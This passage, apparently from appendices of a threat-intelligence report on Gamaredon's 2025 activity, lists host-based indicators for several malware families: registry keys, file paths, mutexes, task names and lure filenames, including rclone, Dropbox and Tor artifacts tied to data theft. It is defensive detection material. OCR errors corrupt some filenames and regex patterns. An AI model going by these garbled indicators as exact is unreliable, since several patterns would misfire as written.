%APPDATA%\{WindowsPowerShell |Microsoft.NET}\desktopc.ini

%APPDATA%\{WindowsPowerShell |Microsoft.NET}\desktopt.ini
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Name Value

%APPDATA%\{ConnectedDevicesPlatform|Windows |Explorer}\desktoph

%APPDATA%\{ConnectedDevicesPlatform|Windows |Explorer}\desktopr

%APPDATA%\Logs\[a-zA-Z0-9]+

MicrosoftEdgeUpdateTaskMachineUA

MicrosoftEdgeUpdateTaskMachineCore
Scheduled task gevp

names
MicrosoftUpdateTaskMachineUA

MicrosoftUpdateTaskMachineCore

ana cnyx6oBoro KopucTyBaHHA.lnk

MpnbyTTA.lnk

BubyTTAa.lnk

®0TO. 1nk

AkTu.lnk

XBA . 1nk
Filenames

JonoBiai 2025.1nk

Bn/lA. 1nk

Hoea nanka (2) .lnk

HoBa nanka.lnk

C34.1nk

TaeMHoO. 1nk

APPENDIX E: HOST-BASED ARTIFACTS ASSOCIATED WITH
PTEROPSLOAD

Name Value

HKCU\Printers\[a-z]{2,26}[0-9]{1,3}

HKCU\AppEvents\[a-z]{2,26}[0-9]{1,3}
Installation paths

HKCU\Cursors\[a-zA-Z0-9]{19,25}

HKCU\EUDC\[a-zA-Z0-9]{19,25}
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Name

Value

%USERPROFILE%\%USERNAME%\ ([a-zA-Z0-91{19,25}):\1

Configuration paths

HKCU\EUDC\[a-zA-Z08-9]{19,25}

Mutexes

Global\MutexLaos

Global\MutexLaosl

Global\MutexNosa

Global\MutexNosas

Global\MutexTa

Global\MutexTanos

Global\MutexTanoss

Global\MutexTest

APPENDIX F: HOST-BASED ARTIFACTS ASSOCIATED WITH

PTEROBOX

Name

Value

Installation paths

HKCU\Keyboard Layout\getListFile

HKCU\Keyboard Layout\usb

HKCU\Keyboard Layout\GetFileMD5

HKCU\Keyboard Layout\sendFile

HKCU\Keyboard Layout\listPrepare

HKCU\Keyboard Layout\update

%LOCALAPPDATA%\info.vbs

%APPDATA%\Microsoft\Windows\Start
Menu\Programs\Startup\%COMPUTERNAMEY%. 1nk

%APPDATA%\rclone\rclone.exe

%APPDATA%\rclone\1l.exe

Log paths

%USERPROFILE%\Documents\%PROCESSOR_ARCHITECTUREY%.%PROCESSOR_REVISION%

%USERPROFILE%\%PROCESSOR_ARCHITECTUREY%.%PROCESSOR_REVISION%

Configuration paths

%APPDATA%\rclone\rclone.conf
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names

Name Value
%PROCESSOR_IDENTIFIER%
Mutexes
%COMPUTERNAME%
dropbox
Scheduled task
%COMPUTERNAME%

%COMPUTERNAME?%_1

APPENDIX G: HOST-BASED ARTIFACTS ASSOCIATED WITH

PTEROPSDOOR

Name

Value

HKCU\Software\[a-zA-Z08-9]{19,25}

HKCU\Abstractions\[a-zA-Z0-9]{19,25}

HKCU\AppEvents\[a-zA-Z0-9]{19,25}

Installation paths

HKCU\Printers\[a-zA-Z0-9]{19,25}

%USERPROFILE%\%PROCESSOR_LEVEL%_%PROCESSOR_REVISION%\data\geoip

%USERPROFILE%\%PROCESSOR_LEVEL%_%PROCESSOR_REVISION%\data\geoip6

%USERPROFILE%\%PROCESSOR_LEVEL%_%PROCESSOR_REVISION%\tor\tor.exe

Global\MutexGlobalNet

Global\MutexGlobalNetWind

Global\MutexGlobalNetWinds

Global\MutexGlobalNewStone

Global\MutexGlobalNewStoner

Mutexes

Global\MutexGlobalNewStonerl

Global\MutexGlobalNewStorm

Global\MutexGlobalUP

Global\MutexGlobalUPS

Globallassembly@[01][0-9]

Globallassembly30[1-7]




47 Gamaredon in 2025: Leveraging tunnels, workers, dead drops, and new alliances

Name Value

HKCU\Software\Microsoft\Windows\CurrentVersion\Run\%USERNAME%

HKCU\Software\Microsoft\Windows\CurrentVersion\Run\%USERNAME?%_%USERNAM
E%

. HKCU\Software\Microsoft\Windows\CurrentVersion\Run\%USERDOMAIN%
Registry values

HKCU\Software\Microsoft\Windows\CurrentVersion\Run\%COMPUTERNAME%

HKCU\Software\Microsoft\Windows\CurrentVersion\Run\%COMPUTERNAME%2

HKCU\Software\Microsoft\Windows\CurrentVersion\Run\regName

APPENDIX H: HOST-BASED ARTIFACTS ASSOCIATED WITH
PTEROVDOOR

Name Value

%USERPROFILE%\[a-zA-Z0-9]{19,25}\.css
Installation paths
HKCU\Software\[a-zA-Z0-9]{19,25}

Registry values HKCU\Software\Microsoft\Windows\CurrentVersion\Run\GooglePhone
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